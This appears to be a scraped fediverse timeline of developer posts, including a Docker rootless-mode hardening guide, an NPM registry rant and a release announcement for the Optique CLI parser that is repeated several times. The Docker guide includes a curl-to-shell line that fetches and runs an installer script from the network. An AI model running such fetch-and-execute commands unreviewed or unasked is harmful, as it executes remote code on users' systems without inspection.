Screenshot of a neovim session. The screen is zoomed very far out and split vertically into six sections. Each section shows around 150 lines of code from the file.
ALT text

Screenshot of a neovim session. The screen is zoomed very far out and split vertically into six sections. Each section shows around 150 lines of code from the file.

@fireisgood@app.wafrn.net

The new settings.service.ts file btw


#wafrn #javascript #typescript
Screenshot of a neovim session. The screen is zoomed very far out and split vertically into six sections. Each section shows around 150 lines of code from the file.
ALT text

Screenshot of a neovim session. The screen is zoomed very far out and split vertically into six sections. Each section shows around 150 lines of code from the file.

@reynardsec@infosec.exchange

devops0: Our audit report says we must "enable Docker rootless mode". I have no clue what that even is...
devops1: Sounds like some another security BS. What's "rootless" supposed to do?

ItSec: Relax. Rootless mode runs the Docker daemon and containers as a regular, unprivileged user [1]. It uses a user namespace, so both the daemon and your containers live in "user space", not as root. That shrinks the blast radius if the daemon or a app in container is compromised, because a breakout wouldn't hand out root on the host.

devops1: Fine. If it's "not hard" to implement, we can consider this.

ItSec: Deal.

Note: this mode does have some limitations. You can review them in docs [2].

First, let's check which user the Docker daemon is currently running as.

ps -C dockerd -o pid,user,group,cmd --no-headers

You should see something like:

9250 root     root     /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

Here's a clean, minimal path that matches the current docs. First, stop the rootful daemon.

sudo systemctl disable --now docker.service docker.socket

Then install the uid/gid mapping tools. On Ubuntu it's uidmap.

sudo apt update && sudo apt install -y uidmap

Docker provides a setup tool. If you installed official DEB/RPM packages, it's already in /usr/bin. Run it as your normal user.

dockerd-rootless-setuptool.sh install

If that command doesn't exist, install the extras package or use the official rootless script.

sudo apt-get install -y docker-ce-rootless-extras
# or, without package manager access:
curl -fsSL https://get.docker.com/rootless | sh

The tool creates a per-user systemd service, a "rootless" CLI context, and prints environment hints. You usually want your client to talk to the user-scoped socket permanently, so export DOCKER_HOST and persist it in your shell profile.

export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
echo 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc

Enable auto-start for your user session and let services run even after logout ("linger").

systemctl --user enable docker
sudo loginctl enable-linger $(whoami)

Point the CLI at the new context and sanity-check.

docker context use rootless

Once more, check which privileges the Docker daemon is running with:

ps -C dockerd -o pid,user,group,cmd --no-headers

Now you will see something like:

10728 ubuntu   ubuntu   dockerd

And pssst! Podman runs containers in "rootless" mode by default [3].

[1] docs.docker.com/engine/securit
[2] docs.docker.com/engine/securit
[3] documentation.suse.com/en-us/s

For more grumpy stories visit:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1
4) infosec.exchange/@reynardsec/1
5) infosec.exchange/@reynardsec/1

grumpy cat
ALT text

grumpy cat

@zkat@toot.cat

cross-posting my little rant about stuff here:

Random NPM thoughts of the day:

  1. The primary NPM registry should be obsoleted entirely ASAP
  2. JSR does not do anywhere near as much as it should, and it's probably too late to fix.
  3. A proper successor must only support "standard" JS, though temporarily accepting "strippable types" is ok rn
  4. All packages MUST be ESM (JSR ok here)
  5. MUST include docstrings on all publicly-reachable interfaces.
  6. MUST NOT include any type of dependency other than a named registry dependency with a semver version (no git deps etc)
  7. MUST have a non-trivial README.
  8. MUST be tied to a PUBLIC repo.
  9. MUST NOT have install scripts (yeah sorry, the fight's over)
  10. MUST clearly include a license, even if the license is "source available, not open source". This restriction MUST NOT limit to OSI's ridiculous list.
  11. MUST have a name that is scoped to its publishing user/org (@foo/bar)All of the above constraints MUST be checked at publish time.

Furthermore, the registry MUST provide the following, based on this:

  1. Full browsable (published) package sources, right on the site. With linkable paths. None of this absolute trash NPM decided to do.
  2. Autogenerated API docs.
  3. Lower-traffic packages that have not had a new version in 6 months should be completely delisted. They can be installed, with a warning printed.
  4. Usernames/org names and package names must employ a suitably-aggressive levenshtein distance for potential conflicts. This should be aggressive.
  5. Packages cannot be transferred between accounts, and it's against policy to allow others access to your personal account. Orgs can work around this.
  6. Top 1000 packages (maybe more) have all new publishes put on hold for 7 days, and placed into a public review queue, overridden by [tbd?staff?]
  7. Y'all aren't gonna like this but: package installation should be reasonably throttled. Both to keep costs down, and to encourage people to do something less lazy than "I'm just going to install all 2k dependencies on CI every time I push a docs change". It's wasteful and harmful for many reasons.

I think that's all I got off the top of my head for now.

There's honestly a lot of stuff that could be done on the client side to make life better, too, and y'all know I have a ton of thoughts on that, but I wanted to rant about registries for a bit, esp now that the NPM registry is crumbling.

@vanillaweb@intuitivefuture.com

Announcing Reciprocate, a Sweet Solution for Making Your HTML Web Components Reactive

Have you ever been chipping away on vanilla when you began to wonder “hey waitaminute…how do I make it so when I set this property, the equivalent attribute is updated? And if I set this attribute, the equivalent property is updated? Or when either is updated, my component will re-render?! Where are the APIs for this stuff??”

Worry no longer! 🤓

thathtml.blog/2025/09/reciproc

thathtml.blog

Announcing Reciprocate, a Sweet Solution for Making Your HTML Web Components Reactive

A new helper utility for adding signal-based reactivity and attribute/property reflection to any vanilla custom element class.

@vanillaweb@intuitivefuture.com

Announcing Reciprocate, a Sweet Solution for Making Your HTML Web Components Reactive

Have you ever been chipping away on vanilla when you began to wonder “hey waitaminute…how do I make it so when I set this property, the equivalent attribute is updated? And if I set this attribute, the equivalent property is updated? Or when either is updated, my component will re-render?! Where are the APIs for this stuff??”

Worry no longer! 🤓

thathtml.blog/2025/09/reciproc

thathtml.blog

Announcing Reciprocate, a Sweet Solution for Making Your HTML Web Components Reactive

A new helper utility for adding signal-based reactivity and attribute/property reflection to any vanilla custom element class.

@CeliaCha@mastodon.social

Salut tout le monde, après cinq ans de salariat je me lance doucement en tant que
J'ai une première question existentielle : la création d'une micro-entreprise est censée être "simple", mais les explications sur les sites .gouv me semblent bien compliquées, et on trouve en parallèle pléthore de services payants pour déléguer la démarche. Quelqu'un a des conseils ou des retours d'expérience sur le sujet ?

@lobsters@mastodon.social
@lobsters@mastodon.social
@lobsters@mastodon.social
@lobsters@mastodon.social
@lobsters@mastodon.social
@hongminhee@hollo.social

Optique 0.4.0 Released!

Big update for our type-safe combinatorial parser for :

  • Labeled merge groups: organize options logically
  • Rich docs: brief, description & footer support
  • @optique/temporal: new package for date/time parsing
  • showDefault: automatic default value display

The help text has never looked this good!

.js

hackers.pub

Optique 0.4.0: Better help, rich docs, and Temporal support

Optique 0.4.0 introduces enhancements to streamline CLI development in TypeScript. This release focuses on improving help text organization through labeled merge groups and a new `group()` combinator, making complex CLIs more user-friendly by organizing options under clear sections. Comprehensive documentation support is added via the `run()` function, allowing brief descriptions, detailed explanations, and footers without altering parser definitions. The update also includes Temporal API support with the `@optique/temporal` package, enabling type-safe parsing for dates, times, and time zones. Improved type inference for `merge()` and `tuple()` combinators enhances type safety, alongside minor breaking changes. These updates aim to make CLI construction more intuitive and maintainable, offering developers greater control over user experience and code structure.

@hongminhee@hackers.pub

We're excited to announce Optique 0.4.0, which brings significant improvements to help text organization, enhanced documentation capabilities, and introduces comprehensive Temporal API support.

Optique is a type-safe combinatorial CLI parser for TypeScript that makes building command-line interfaces intuitive and maintainable. This release focuses on making your CLI applications more user-friendly and maintainable.

Better help text organization

One of the most visible improvements in Optique 0.4.0 is the enhanced help text organization. You can now label and group your options more effectively, making complex CLIs much more approachable for users.

Labeled merge groups

The merge() combinator now accepts an optional label parameter, solving a common pain point where developers had to choose between clean code structure and organized help output:

// Before: unlabeled merged options appeared scattered
const config = merge(connectionOptions, performanceOptions);

// Now: group related options under a clear section
const config = merge(
  "Server Configuration",  // New label parameter
  connectionOptions,
  performanceOptions
);

This simple addition makes a huge difference in help text readability, especially for CLIs with many options spread across multiple reusable modules.

The resulting help output clearly organizes options under the Server Configuration section:

Demo app showcasing labeled merge groups
Usage: demo-merge.ts --host STRING --port INTEGER --timeout INTEGER --retries
       INTEGER

Server Configuration:
  --host STRING               Server hostname or IP address
  --port INTEGER              Port number for the connection
  --timeout INTEGER           Connection timeout in seconds
  --retries INTEGER           Number of retry attempts

The new group() combinator

For cases where merge() doesn't apply, the new group() combinator lets you wrap any parser with a documentation label:

// Group mutually exclusive options under a clear section
const outputFormat = group(
  "Output Format",
  or(
    map(flag("--json"), () => "json"),
    map(flag("--yaml"), () => "yaml"),
    map(flag("--xml"), () => "xml"),
  )
);

This is particularly useful for organizing mutually exclusive flags, multiple inputs, or any parser that doesn't natively support labeling. The resulting help text becomes much more scannable and user-friendly.

Here's how the grouped output format options appear in the help text:

Demo app showcasing group combinator
Usage: demo-group.ts --json
       demo-group.ts --yaml
       demo-group.ts --xml

Output Format:
  --json                      Output in JSON format
  --yaml                      Output in YAML format
  --xml                       Output in XML format

Rich documentation support

Optique 0.4.0 introduces comprehensive documentation fields that can be added directly through the run() function, eliminating the need to modify parser definitions for documentation purposes.

Brief descriptions, detailed explanations, and footers

Both @optique/core/facade and @optique/run now support brief, description, and footer options through the run() function:

import { run } from "@optique/run";
import { message } from "@optique/core/message";

const result = run(parser, {
  brief: message`A powerful data processing tool`,
  description: message`This tool provides comprehensive data processing capabilities with support for multiple formats and transformations. It can handle JSON, YAML, and CSV files with automatic format detection.`,
  footer: message`Examples:
  myapp process data.json --format yaml
  myapp validate config.toml --strict

For more information, visit https://example.com/docs`,
  help: "option"
});

These documentation fields appear in both help output and error messages (when configured), providing consistent context throughout your CLI's user experience.

The complete help output demonstrates the rich documentation features with brief description, detailed explanation, option descriptions, default values, and footer information:

A powerful data processing tool
Usage: demo-rich-docs.ts [--port INTEGER] [--format STRING] --verbose STRING

This tool provides comprehensive data processing capabilities with support for
multiple formats and transformations. It can handle JSON, YAML, and CSV files
with automatic format detection.

  --port INTEGER              Server port number [3000]
  --format STRING             Output format [json]
  --verbose STRING            Verbosity level

Examples:
  myapp process data.json --format yaml
  myapp validate config.toml --strict

For more information, visit https://example.com/docs

These documentation fields appear in both help output and error messages (when configured), providing consistent context throughout your CLI's user experience.

Display default values

A frequently requested feature is now available: showing default values directly in help text. Enable this with the new showDefault option when using withDefault():

const parser = object({
  port: withDefault(
    option("--port", integer(), { description: message`Server port number` }),
    3000,
  ),
  format: withDefault(
    option("--format", string(), { description: message`Output format` }),
    "json",
  ),
});

run(parser, { showDefault: true });

// Or with custom formatting:
run(parser, {
  showDefault: {
    prefix: " (default: ",
    suffix: ")"
  }  // Shows: --port (default: 3000)
});

Default values are automatically dimmed when colors are enabled, making them visually distinct while remaining readable.

The help output shows default values clearly marked next to each option:

Usage: demo-defaults.ts [--port INTEGER] [--format STRING]

  --port INTEGER              Server port number [3000]
  --format STRING             Output format [json]

Temporal API support

Optique 0.4.0 introduces a new package, @optique/temporal, providing comprehensive support for the modern Temporal API. This brings type-safe parsing for dates, times, durations, and time zones:

import { instant, duration, zonedDateTime } from "@optique/temporal";
import { option } from "@optique/core/parser";

const parser = object({
  // Parse ISO 8601 timestamps
  timestamp: option("--at", instant()),

  // Parse durations like "PT30M" or "P1DT2H"
  timeout: option("--timeout", duration()),

  // Parse zoned datetime with timezone info
  meeting: option("--meeting", zonedDateTime()),
});

The temporal parsers return native Temporal objects with full functionality:

const result = parse(timestampArg, ["2023-12-25T10:30:00Z"]);
if (result.success) {
  const instant = result.value;
  console.log(`UTC: ${instant.toString()}`);
  console.log(`Seoul: ${instant.toZonedDateTimeISO("Asia/Seoul")}`);
}

Install the new package with:

npm add @optique/temporal

Improved type inference

The merge() combinator now supports up to 10 parsers (previously 5), and the tuple() parser has improved type inference using TypeScript's const type parameter. These enhancements enable more complex CLI structures while maintaining perfect type safety.

Breaking changes

While we've maintained backward compatibility for most APIs, there are a few changes to be aware of:

  • The Parser.getDocFragments() method now uses DocState<TState> instead of direct state values (only affects custom parser implementations)
  • The merge() combinator now enforces stricter type constraints at compile time, rejecting non-object-producing parsers

Learn more

For a complete list of changes, bug fixes, and improvements, see the full changelog.

Check out the updated documentation:

Installation

Upgrade to Optique 0.4.0:

npm update @optique/core @optique/run
# or
deno add jsr:@optique/core@^0.4.0 jsr:@optique/run@^0.4.0

Add temporal support (optional):

npm add @optique/temporal
# or
deno add jsr:@optique/temporal

We hope these improvements make building CLI applications with Optique even more enjoyable. As always, we welcome your feedback and contributions on GitHub.

github.com

GitHub - dahlia/optique: Type-safe combinatorial CLI parser for TypeScript

Type-safe combinatorial CLI parser for TypeScript. Contribute to dahlia/optique development by creating an account on GitHub.

@vanillaweb@intuitivefuture.com

This is still one of the coolest patterns ever. 🥰

connectedCallback() {
  this.addEventListener("click", this)
  this.addEventListener("submit", this)
}

handleEvent(event) { this[`handle${capitalize(event.type)}`](event) }

handleClick(event) { … }

handleSubmit(event) { ... }
ALT text

connectedCallback() { this.addEventListener("click", this) this.addEventListener("submit", this) } handleEvent(event) { this[`handle${capitalize(event.type)}`](event) } handleClick(event) { … } handleSubmit(event) { ... }

@hongminhee@hollo.social

Optique 0.4.0 Released!

Big update for our type-safe combinatorial parser for :

  • Labeled merge groups: organize options logically
  • Rich docs: brief, description & footer support
  • @optique/temporal: new package for date/time parsing
  • showDefault: automatic default value display

The help text has never looked this good!

.js

hackers.pub

Optique 0.4.0: Better help, rich docs, and Temporal support

Optique 0.4.0 introduces enhancements to streamline CLI development in TypeScript. This release focuses on improving help text organization through labeled merge groups and a new `group()` combinator, making complex CLIs more user-friendly by organizing options under clear sections. Comprehensive documentation support is added via the `run()` function, allowing brief descriptions, detailed explanations, and footers without altering parser definitions. The update also includes Temporal API support with the `@optique/temporal` package, enabling type-safe parsing for dates, times, and time zones. Improved type inference for `merge()` and `tuple()` combinators enhances type safety, alongside minor breaking changes. These updates aim to make CLI construction more intuitive and maintainable, offering developers greater control over user experience and code structure.

@hongminhee@hackers.pub

We're excited to announce Optique 0.4.0, which brings significant improvements to help text organization, enhanced documentation capabilities, and introduces comprehensive Temporal API support.

Optique is a type-safe combinatorial CLI parser for TypeScript that makes building command-line interfaces intuitive and maintainable. This release focuses on making your CLI applications more user-friendly and maintainable.

Better help text organization

One of the most visible improvements in Optique 0.4.0 is the enhanced help text organization. You can now label and group your options more effectively, making complex CLIs much more approachable for users.

Labeled merge groups

The merge() combinator now accepts an optional label parameter, solving a common pain point where developers had to choose between clean code structure and organized help output:

// Before: unlabeled merged options appeared scattered
const config = merge(connectionOptions, performanceOptions);

// Now: group related options under a clear section
const config = merge(
  "Server Configuration",  // New label parameter
  connectionOptions,
  performanceOptions
);

This simple addition makes a huge difference in help text readability, especially for CLIs with many options spread across multiple reusable modules.

The resulting help output clearly organizes options under the Server Configuration section:

Demo app showcasing labeled merge groups
Usage: demo-merge.ts --host STRING --port INTEGER --timeout INTEGER --retries
       INTEGER

Server Configuration:
  --host STRING               Server hostname or IP address
  --port INTEGER              Port number for the connection
  --timeout INTEGER           Connection timeout in seconds
  --retries INTEGER           Number of retry attempts

The new group() combinator

For cases where merge() doesn't apply, the new group() combinator lets you wrap any parser with a documentation label:

// Group mutually exclusive options under a clear section
const outputFormat = group(
  "Output Format",
  or(
    map(flag("--json"), () => "json"),
    map(flag("--yaml"), () => "yaml"),
    map(flag("--xml"), () => "xml"),
  )
);

This is particularly useful for organizing mutually exclusive flags, multiple inputs, or any parser that doesn't natively support labeling. The resulting help text becomes much more scannable and user-friendly.

Here's how the grouped output format options appear in the help text:

Demo app showcasing group combinator
Usage: demo-group.ts --json
       demo-group.ts --yaml
       demo-group.ts --xml

Output Format:
  --json                      Output in JSON format
  --yaml                      Output in YAML format
  --xml                       Output in XML format

Rich documentation support

Optique 0.4.0 introduces comprehensive documentation fields that can be added directly through the run() function, eliminating the need to modify parser definitions for documentation purposes.

Brief descriptions, detailed explanations, and footers

Both @optique/core/facade and @optique/run now support brief, description, and footer options through the run() function:

import { run } from "@optique/run";
import { message } from "@optique/core/message";

const result = run(parser, {
  brief: message`A powerful data processing tool`,
  description: message`This tool provides comprehensive data processing capabilities with support for multiple formats and transformations. It can handle JSON, YAML, and CSV files with automatic format detection.`,
  footer: message`Examples:
  myapp process data.json --format yaml
  myapp validate config.toml --strict

For more information, visit https://example.com/docs`,
  help: "option"
});

These documentation fields appear in both help output and error messages (when configured), providing consistent context throughout your CLI's user experience.

The complete help output demonstrates the rich documentation features with brief description, detailed explanation, option descriptions, default values, and footer information:

A powerful data processing tool
Usage: demo-rich-docs.ts [--port INTEGER] [--format STRING] --verbose STRING

This tool provides comprehensive data processing capabilities with support for
multiple formats and transformations. It can handle JSON, YAML, and CSV files
with automatic format detection.

  --port INTEGER              Server port number [3000]
  --format STRING             Output format [json]
  --verbose STRING            Verbosity level

Examples:
  myapp process data.json --format yaml
  myapp validate config.toml --strict

For more information, visit https://example.com/docs

These documentation fields appear in both help output and error messages (when configured), providing consistent context throughout your CLI's user experience.

Display default values

A frequently requested feature is now available: showing default values directly in help text. Enable this with the new showDefault option when using withDefault():

const parser = object({
  port: withDefault(
    option("--port", integer(), { description: message`Server port number` }),
    3000,
  ),
  format: withDefault(
    option("--format", string(), { description: message`Output format` }),
    "json",
  ),
});

run(parser, { showDefault: true });

// Or with custom formatting:
run(parser, {
  showDefault: {
    prefix: " (default: ",
    suffix: ")"
  }  // Shows: --port (default: 3000)
});

Default values are automatically dimmed when colors are enabled, making them visually distinct while remaining readable.

The help output shows default values clearly marked next to each option:

Usage: demo-defaults.ts [--port INTEGER] [--format STRING]

  --port INTEGER              Server port number [3000]
  --format STRING             Output format [json]

Temporal API support

Optique 0.4.0 introduces a new package, @optique/temporal, providing comprehensive support for the modern Temporal API. This brings type-safe parsing for dates, times, durations, and time zones:

import { instant, duration, zonedDateTime } from "@optique/temporal";
import { option } from "@optique/core/parser";

const parser = object({
  // Parse ISO 8601 timestamps
  timestamp: option("--at", instant()),

  // Parse durations like "PT30M" or "P1DT2H"
  timeout: option("--timeout", duration()),

  // Parse zoned datetime with timezone info
  meeting: option("--meeting", zonedDateTime()),
});

The temporal parsers return native Temporal objects with full functionality:

const result = parse(timestampArg, ["2023-12-25T10:30:00Z"]);
if (result.success) {
  const instant = result.value;
  console.log(`UTC: ${instant.toString()}`);
  console.log(`Seoul: ${instant.toZonedDateTimeISO("Asia/Seoul")}`);
}

Install the new package with:

npm add @optique/temporal

Improved type inference

The merge() combinator now supports up to 10 parsers (previously 5), and the tuple() parser has improved type inference using TypeScript's const type parameter. These enhancements enable more complex CLI structures while maintaining perfect type safety.

Breaking changes

While we've maintained backward compatibility for most APIs, there are a few changes to be aware of:

  • The Parser.getDocFragments() method now uses DocState<TState> instead of direct state values (only affects custom parser implementations)
  • The merge() combinator now enforces stricter type constraints at compile time, rejecting non-object-producing parsers

Learn more

For a complete list of changes, bug fixes, and improvements, see the full changelog.

Check out the updated documentation:

Installation

Upgrade to Optique 0.4.0:

npm update @optique/core @optique/run
# or
deno add jsr:@optique/core@^0.4.0 jsr:@optique/run@^0.4.0

Add temporal support (optional):

npm add @optique/temporal
# or
deno add jsr:@optique/temporal

We hope these improvements make building CLI applications with Optique even more enjoyable. As always, we welcome your feedback and contributions on GitHub.

github.com

GitHub - dahlia/optique: Type-safe combinatorial CLI parser for TypeScript

Type-safe combinatorial CLI parser for TypeScript. Contribute to dahlia/optique development by creating an account on GitHub.

@hongminhee@hollo.social

Optique 0.4.0 Released!

Big update for our type-safe combinatorial parser for :

  • Labeled merge groups: organize options logically
  • Rich docs: brief, description & footer support
  • @optique/temporal: new package for date/time parsing
  • showDefault: automatic default value display

The help text has never looked this good!

.js

hackers.pub

Optique 0.4.0: Better help, rich docs, and Temporal support

Optique 0.4.0 introduces enhancements to streamline CLI development in TypeScript. This release focuses on improving help text organization through labeled merge groups and a new `group()` combinator, making complex CLIs more user-friendly by organizing options under clear sections. Comprehensive documentation support is added via the `run()` function, allowing brief descriptions, detailed explanations, and footers without altering parser definitions. The update also includes Temporal API support with the `@optique/temporal` package, enabling type-safe parsing for dates, times, and time zones. Improved type inference for `merge()` and `tuple()` combinators enhances type safety, alongside minor breaking changes. These updates aim to make CLI construction more intuitive and maintainable, offering developers greater control over user experience and code structure.

@hongminhee@hackers.pub

We're excited to announce Optique 0.4.0, which brings significant improvements to help text organization, enhanced documentation capabilities, and introduces comprehensive Temporal API support.

Optique is a type-safe combinatorial CLI parser for TypeScript that makes building command-line interfaces intuitive and maintainable. This release focuses on making your CLI applications more user-friendly and maintainable.

Better help text organization

One of the most visible improvements in Optique 0.4.0 is the enhanced help text organization. You can now label and group your options more effectively, making complex CLIs much more approachable for users.

Labeled merge groups

The merge() combinator now accepts an optional label parameter, solving a common pain point where developers had to choose between clean code structure and organized help output:

// Before: unlabeled merged options appeared scattered
const config = merge(connectionOptions, performanceOptions);

// Now: group related options under a clear section
const config = merge(
  "Server Configuration",  // New label parameter
  connectionOptions,
  performanceOptions
);

This simple addition makes a huge difference in help text readability, especially for CLIs with many options spread across multiple reusable modules.

The resulting help output clearly organizes options under the Server Configuration section:

Demo app showcasing labeled merge groups
Usage: demo-merge.ts --host STRING --port INTEGER --timeout INTEGER --retries
       INTEGER

Server Configuration:
  --host STRING               Server hostname or IP address
  --port INTEGER              Port number for the connection
  --timeout INTEGER           Connection timeout in seconds
  --retries INTEGER           Number of retry attempts

The new group() combinator

For cases where merge() doesn't apply, the new group() combinator lets you wrap any parser with a documentation label:

// Group mutually exclusive options under a clear section
const outputFormat = group(
  "Output Format",
  or(
    map(flag("--json"), () => "json"),
    map(flag("--yaml"), () => "yaml"),
    map(flag("--xml"), () => "xml"),
  )
);

This is particularly useful for organizing mutually exclusive flags, multiple inputs, or any parser that doesn't natively support labeling. The resulting help text becomes much more scannable and user-friendly.

Here's how the grouped output format options appear in the help text:

Demo app showcasing group combinator
Usage: demo-group.ts --json
       demo-group.ts --yaml
       demo-group.ts --xml

Output Format:
  --json                      Output in JSON format
  --yaml                      Output in YAML format
  --xml                       Output in XML format

Rich documentation support

Optique 0.4.0 introduces comprehensive documentation fields that can be added directly through the run() function, eliminating the need to modify parser definitions for documentation purposes.

Brief descriptions, detailed explanations, and footers

Both @optique/core/facade and @optique/run now support brief, description, and footer options through the run() function:

import { run } from "@optique/run";
import { message } from "@optique/core/message";

const result = run(parser, {
  brief: message`A powerful data processing tool`,
  description: message`This tool provides comprehensive data processing capabilities with support for multiple formats and transformations. It can handle JSON, YAML, and CSV files with automatic format detection.`,
  footer: message`Examples:
  myapp process data.json --format yaml
  myapp validate config.toml --strict

For more information, visit https://example.com/docs`,
  help: "option"
});

These documentation fields appear in both help output and error messages (when configured), providing consistent context throughout your CLI's user experience.

The complete help output demonstrates the rich documentation features with brief description, detailed explanation, option descriptions, default values, and footer information:

A powerful data processing tool
Usage: demo-rich-docs.ts [--port INTEGER] [--format STRING] --verbose STRING

This tool provides comprehensive data processing capabilities with support for
multiple formats and transformations. It can handle JSON, YAML, and CSV files
with automatic format detection.

  --port INTEGER              Server port number [3000]
  --format STRING             Output format [json]
  --verbose STRING            Verbosity level

Examples:
  myapp process data.json --format yaml
  myapp validate config.toml --strict

For more information, visit https://example.com/docs

These documentation fields appear in both help output and error messages (when configured), providing consistent context throughout your CLI's user experience.

Display default values

A frequently requested feature is now available: showing default values directly in help text. Enable this with the new showDefault option when using withDefault():

const parser = object({
  port: withDefault(
    option("--port", integer(), { description: message`Server port number` }),
    3000,
  ),
  format: withDefault(
    option("--format", string(), { description: message`Output format` }),
    "json",
  ),
});

run(parser, { showDefault: true });

// Or with custom formatting:
run(parser, {
  showDefault: {
    prefix: " (default: ",
    suffix: ")"
  }  // Shows: --port (default: 3000)
});

Default values are automatically dimmed when colors are enabled, making them visually distinct while remaining readable.

The help output shows default values clearly marked next to each option:

Usage: demo-defaults.ts [--port INTEGER] [--format STRING]

  --port INTEGER              Server port number [3000]
  --format STRING             Output format [json]

Temporal API support

Optique 0.4.0 introduces a new package, @optique/temporal, providing comprehensive support for the modern Temporal API. This brings type-safe parsing for dates, times, durations, and time zones:

import { instant, duration, zonedDateTime } from "@optique/temporal";
import { option } from "@optique/core/parser";

const parser = object({
  // Parse ISO 8601 timestamps
  timestamp: option("--at", instant()),

  // Parse durations like "PT30M" or "P1DT2H"
  timeout: option("--timeout", duration()),

  // Parse zoned datetime with timezone info
  meeting: option("--meeting", zonedDateTime()),
});

The temporal parsers return native Temporal objects with full functionality:

const result = parse(timestampArg, ["2023-12-25T10:30:00Z"]);
if (result.success) {
  const instant = result.value;
  console.log(`UTC: ${instant.toString()}`);
  console.log(`Seoul: ${instant.toZonedDateTimeISO("Asia/Seoul")}`);
}

Install the new package with:

npm add @optique/temporal

Improved type inference

The merge() combinator now supports up to 10 parsers (previously 5), and the tuple() parser has improved type inference using TypeScript's const type parameter. These enhancements enable more complex CLI structures while maintaining perfect type safety.

Breaking changes

While we've maintained backward compatibility for most APIs, there are a few changes to be aware of:

  • The Parser.getDocFragments() method now uses DocState<TState> instead of direct state values (only affects custom parser implementations)
  • The merge() combinator now enforces stricter type constraints at compile time, rejecting non-object-producing parsers

Learn more

For a complete list of changes, bug fixes, and improvements, see the full changelog.

Check out the updated documentation:

Installation

Upgrade to Optique 0.4.0:

npm update @optique/core @optique/run
# or
deno add jsr:@optique/core@^0.4.0 jsr:@optique/run@^0.4.0

Add temporal support (optional):

npm add @optique/temporal
# or
deno add jsr:@optique/temporal

We hope these improvements make building CLI applications with Optique even more enjoyable. As always, we welcome your feedback and contributions on GitHub.

github.com

GitHub - dahlia/optique: Type-safe combinatorial CLI parser for TypeScript

Type-safe combinatorial CLI parser for TypeScript. Contribute to dahlia/optique development by creating an account on GitHub.

@sir_pepe@mastodon.social

🤯🚨 BREAKING NEWS 🚨🤯

In a shocking development, new additions to the standard WILL UNLEASH THE HERETOFORE UNAVAILABLE POWER OF ADDITION _IN JAVASCRIPT_ upon the world!

👉 developer.mozilla.org/en-US/do

Only works in Firefox ATM. Like, Chrome and Safari can't even add numbers currently.

let numbers1 = [Number.MAX_VALUE, 1, -Number.MAX_VALUE];
numbers1.reduce1((a, b) => a + b);
Math.sumPrecise(numbers1);

let numbers2 = [0.1, 0.2, 0.3];
numbers2.reduce((a, b) => a + b);
Math.sumPrecise(numbers2);

/* ECMAScript Stage 4 proposal, works in Firefox today! */
ALT text

let numbers1 = [Number.MAX_VALUE, 1, -Number.MAX_VALUE]; numbers1.reduce1((a, b) => a + b); Math.sumPrecise(numbers1); let numbers2 = [0.1, 0.2, 0.3]; numbers2.reduce((a, b) => a + b); Math.sumPrecise(numbers2); /* ECMAScript Stage 4 proposal, works in Firefox today! */

@toxi@mastodon.thi.ng

Yesterday I released new versions of thi.ng/wasm-api (and its add-on packages), a modular and extensible bridge API & toolchain for hybrid JS/TS/Zig/WebAssembly apps, now updated to be compatible with the latest Zig version 0.15.1...

The update addresses some of Zig's breaking syntax & build system changes only, nothing on the JS/TS side has changed. As a result thi.ng/wasm-api-dom has a slightly revised internal structure (also a breaking change, but nothing major & unavoidable). All bundled Zig examples[1] in the repo have been updated too, take a look for reference (if needed).

FYI More details about the Zig language changes here:
ziglang.org/download/0.15.1/re

Specifically, the removal of `usingnamespace` has had a major impact on the existing handling of generated types in these wasm-api support packages (or your own) and now forces an additional level of hierarchy in terms of namespacing. This is because `usingnamespace` enabled a form of namespace merging, which allowed the generated WASM⭤TS interop types (written to their own sourcefile) to be merged/hoisted into the main library module.

For example, previously after importing `const dom = @import("wasm-api-dom");` we could refer to a type via `dom.WindowInfo`. Now with namespace merging removed, we have to use `dom.types.WindowInfo`. As I said, it's not a major departure, but a breaking change nonetheless[2]...

The `build.zig` file bundled with thi.ng/wasm-api is now also only compatible with Zig 0.15.1 (for now). Build files for older Zig versions are still included too (in the same directory)[3].

Lastly, once more for the record: The wasm-api bridge itself is NOT tied to Zig (or a particular version), however it's the main use case/language for my own WebAssembly use cases...

[1] github.com/thi-ng/umbrella/tre (all examples starting with `zig-*`)

[2] The existing design of these modules helped to keep these breaking changes to a minimum in userland code and these updates are all following the same uniform pattern (i.e. exposing interop types via `modulename.types.TypeName`...)

[3] github.com/thi-ng/umbrella/tre

github.com

umbrella/packages/wasm-api at develop · thi-ng/umbrella

⛱ Broadly scoped ecosystem & mono-repository of 210 TypeScript projects (and ~185 examples) for general purpose, functional, data driven development - thi-ng/umbrella

@nostarch@mastodon.social

A friendly reminder that you can enjoy 35% off everything on our website until tomorrow at 23:59.

DRM-Free. Print includes instant ebook. 30-day returns.

Build skills that outlast jobs.

nostarch.com/

Black background promotional banner. Large white bold text at the top reads: “LABOR DAY SALE 35% OFF SITEWIDE.” Below, smaller yellow text reads: “USE CODE LABORDAY35.” Further down in white text: “ends 9/1/2025 23:59 PDT.” In the bottom left corner, there is the classic No Starch Press coffee robot.
ALT text

Black background promotional banner. Large white bold text at the top reads: “LABOR DAY SALE 35% OFF SITEWIDE.” Below, smaller yellow text reads: “USE CODE LABORDAY35.” Further down in white text: “ends 9/1/2025 23:59 PDT.” In the bottom left corner, there is the classic No Starch Press coffee robot.

hi frogzone hear! im still alive

i realise everyone has probably forgotten me and with think, who is this spammer, but after 9 months without fediverse, I figured that i better login to explain myself.

Basically near the start of the year two things happened at the same time to make it impossible to access fedi. Anyway Im enabling #javascript in a browser now to tell you this but i NEVER enable javascript in this browser normally and will probably disable it again, hopefully not for 9 months but this #distrohop is a BIG one, more like a distro-leap! @nimda it would really help if the #BloatFE interface was available over #i2p. @silverpil is there anyway to force a non-js experience, using a specific uri combo? FYI ive been recommending #mitra more in the meatspace lately, so heads up you may be getting more traffic??? or not.... lol

@gabriel i LOVED ur interview on #corbettReport, it is disconcerting to see his non-acknowledgment of your interest in #fediverse. He has known about fedi for a long time and probably should have known better than to pump S.S. (i mean sCRubstack), anyway sorry to hear u were set upon by S.S. drones. I've been meaning to inform u that your libresolutionsnetork.i2p site is broken, it redirects to gabe.i2p, so i may be missing out on insights. i was enjoying your updates on ur health drive but havnt been able to keep upto date lately.

